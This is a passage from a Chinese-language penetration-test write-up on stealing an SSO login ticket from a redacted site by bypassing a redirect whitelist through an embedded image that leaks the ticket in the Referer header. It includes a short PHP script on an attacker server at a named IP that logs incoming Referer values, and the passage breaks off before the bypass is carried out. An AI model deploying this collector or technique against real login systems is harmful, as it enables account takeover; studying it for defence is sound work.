0x00 前言

文章中的项目地址统一修改为: test.com 保护厂商也保护自己

0x01 前期准备

受害者账号: 18******977

攻击者账号: tsetaaaa

攻击者服务器：123.207.33.78
攻击文件：img_referer.php
访问url：http://123.207.33.78/img_referer.php
攻击代码：
<?php 
if ($_SERVER['HTTP_REFERER']) {
    file_put_contents('./img_referer.txt', $_SERVER['HTTP_REFERER'].PHP_EOL, FILE_APPEND);
}

0x02 场景

绕不过service字段的白名单验证所以换了此方法进行绕过获取
白名单触发:
http://yun.test.com/index.php?r=portal/user/login&service=http://baidu.com

白名单通过:
http://yun.test.com/index.php?r=portal/user/login&service=http://xxxxxxxxxxx.test.com/

名单做的比较死只允许 *.test.com 跳转进行登录
思考了一下可以找一处可以显示插入图片的地方,利用图片来绕过获取到 ticket